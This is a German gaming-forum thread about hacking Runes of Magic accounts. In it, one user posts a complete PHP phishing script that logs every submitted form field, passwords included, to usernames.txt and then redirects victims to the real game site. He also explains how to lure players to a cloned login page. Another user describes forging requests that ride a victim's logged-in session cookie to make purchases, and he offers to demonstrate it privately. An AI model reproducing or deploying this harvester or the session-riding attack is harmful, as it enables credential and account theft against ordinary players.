ROM Account hacken

[Atheuz]

Originally Posted by Fir3andIc3

Du fragst also den Server nach einem Benutzername und er gibt dir das PW??

Nein, Ich gebe alle Informationen an, so wie ich sie haben möchte.

Es wird ledeglich das Cookie von jemand gebraucht was bei Browsern automatisch zugeordnet wird bei einem Request.

[wolleboiii]

aber die cookies werden doch auf dem rechner , des jeweiligen gespeichert und nicht auf dem browser , oder nicht?

[Digital Shadow]

Das ist doch ein einfacher Phishing-Versuch. Nichts spezielles mit Cookies abfangen oder so

Hier der Inhalt der post.php

PHP Code:

<?php
header ('Location: http://www.runesofmagic.com');
$handle = fopen("usernames.txt", "a");
foreach($_POST as $variable => $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

Der Quelltext der Runes of Magic Seite dient doch nur als Layout-Template um das Opfer glauben zu lassen es handele sich dabei um die echte Runes of Magic Seite.

Der ganze Spaß bzw. die Texteingaben wie Benutzername und Passwort werden über die globale Variable $_POST abgefangen und in die Datei usernames.txt geschrieben. Fertig.

Das Opfer brauch dabei doch nur den Link der "offiziellen Runes of Magic Seite" (Phishing-Page) bekommen und seine Eingaben machen.

[Atheuz]

Originally Posted by wolleboiii

aber die cookies werden doch auf dem rechner , des jeweiligen gespeichert und nicht auf dem browser , oder nicht?

Erm ja, deswegen hab ich ja gesagt, dass das Opfer im Accountsystem von Yusho eingeloggt sein muss, bzw hat sich morgens kurz eingeloggt um Dias zu kaufen. Das Fenster muss auch nicht offen sein, solange er den Browser in dieser Zeit nicht neustartet, dann wäre er anfällig für sowas da der Frogster Server keinen Unterschied macht ob ein Request von runesofmagic.com kommt oder von elitepvpers.com oder sonst wo.

[Fir3andIc3]

Originally Posted by Atheuz

Nein, Ich gebe alle Informationen an, so wie ich sie haben möchte.

Es wird ledeglich das Cookie von jemand gebraucht was bei Browsern automatisch zugeordnet wird bei einem Request.

Also das ergibt für mich absolut keinen Sinn! Ich brauche doch nen Cookie von einem "Opfer" und nicht meinen eignen mit den Daten welche ich mir ausgedacht habe öÖ

[Atheuz]

Originally Posted by Fir3andIc3

Also das ergibt für mich absolut keinen Sinn! Ich brauche doch nen Cookie von einem "Opfer" und nicht meinen eignen mit den Daten welche ich mir ausgedacht habe öÖ

Gib mir einfach deine MSN damit wir den Spuk von Unwissenheit hier mal endlich lüften können.

[Fir3andIc3]

Originally Posted by Atheuz

Erm ja, deswegen hab ich ja gesagt, dass das Opfer im Accountsystem von Yusho eingeloggt sein muss, bzw hat sich morgens kurz eingeloggt um Dias zu kaufen. Das Fenster muss auch nicht offen sein, solange er den Browser in dieser Zeit nicht neustartet, dann wäre er anfällig für sowas da der Frogster Server keinen Unterschied macht ob ein Request von runesofmagic.com kommt oder von elitepvpers.com oder sonst wo.

LOl? Ich denke schon das die IP des Servers Richtig eingetragen ist Der Server muß doch irgenwei wissen welcher account dias bestellt hat und diesem dann Dias zuordnen! Das geht wohl schlecht mit einem Fake Server.

Originally Posted by Atheuz

Gib mir einfach deine MSN damit wir den Spuk von Unwissenheit hier mal endlich lüften können.

Brauche ich nicht da ich mir zu 1000% sicher bin, dass es nichts anderes als PHISHING ist Wie Shadow schon sagte. Das geht aber nur wenn der Server von Yasho Daten an einen Anderen Server sendet. Un das geht nur in der Server/Domain einstellung selbst und nicht über Cookies....

[Atheuz]

Originally Posted by Fir3andIc3

LOl? Ich denke schon das die IP des Servers Richtig eingetragen ist Der Server muß doch irgenwei wissen welcher account dias bestellt hat und diesem dann Dias zuordnen! Das geht wohl schlecht mit einem Fake Server.

Wie oft noch, -das ist kein fakeserver- oder sonst was. Es wird ledeglich ein Request verschickt, der Browser ordnet das selber zu. Ich biete hier dir ein Beweis an und du trollst einfach weiter

[wolleboiii]

ich glaube Atheuz meint das man sich quasi den cookie schicken lässt.
man erstellt per ( html?! .. ka) eine webanfrage inklusive cookie anforderung? könnte ich mir jedenfalls so vorstellen.. nur da kommt mir dann die nächste frage, wie man eine solche erstellt

[Atheuz]

Originally Posted by wolleboiii

ich glaube Atheuz meint das man sich quasi den cookie schicken lässt.
man erstellt per ( html?! .. ka) eine webanfrage inklusive cookie anforderung? könnte ich mir jedenfalls so vorstellen.. nur da kommt mir dann die nächste frage, wie man eine solche erstellt

Gibt mir einfach von irgendjemand eine MSN, damit ichs beweisen kann -.-

[wolleboiii]

ist aber nicht meine... oder brauchst du eine von uns?

[Fir3andIc3]

Originally Posted by wolleboiii

ich glaube Atheuz meint das man sich quasi den cookie schicken lässt.
man erstellt per ( html?! .. ka) eine webanfrage inklusive cookie anforderung? könnte ich mir jedenfalls so vorstellen.. nur da kommt mir dann die nächste frage, wie man eine solche erstellt

Sobald du versuchst dich irgenwo einzuloggen erstellst du automatisch einen cookie. Da kannst du genau so gut ne bruteforce starten und warten.

Wenn so geht wie er sagt, dann soll er mir bitte mal ein paar funktionierend daten senden und ich versuche mich da mal einzuloggen.. von mir aus meine ^^

[Atheuz]

Originally Posted by wolleboiii

ist aber nicht meine... oder brauchst du eine von uns?

Kewl trolls, ich brauch schon eine von euch damit man auch sich mit euch unterhalten kann. Das ist ja auch der Sinn dabei und nicht das ich euch jetzt Accounts hacke, ihr versteht das nichtmal.

[wolleboiii]

relaxe atheuz...

hast ne pm

[Atheuz]

Originally Posted by Fir3andIc3

Brauche ich nicht da ich mir zu 1000% sicher bin, dass es nichts anderes als PHISHING ist Wie Shadow schon sagte. Das geht aber nur wenn der Server von Yasho Daten an einen Anderen Server sendet. Un das geht nur in der Server/Domain einstellung selbst und nicht über Cookies....

Leider warst du dir nicht zu 1001% sicher, hatte es wolleboii auch nun genauer erklärt wieso das überhaupt geht.


Wo bleibt mein obligatorischer Kuchen?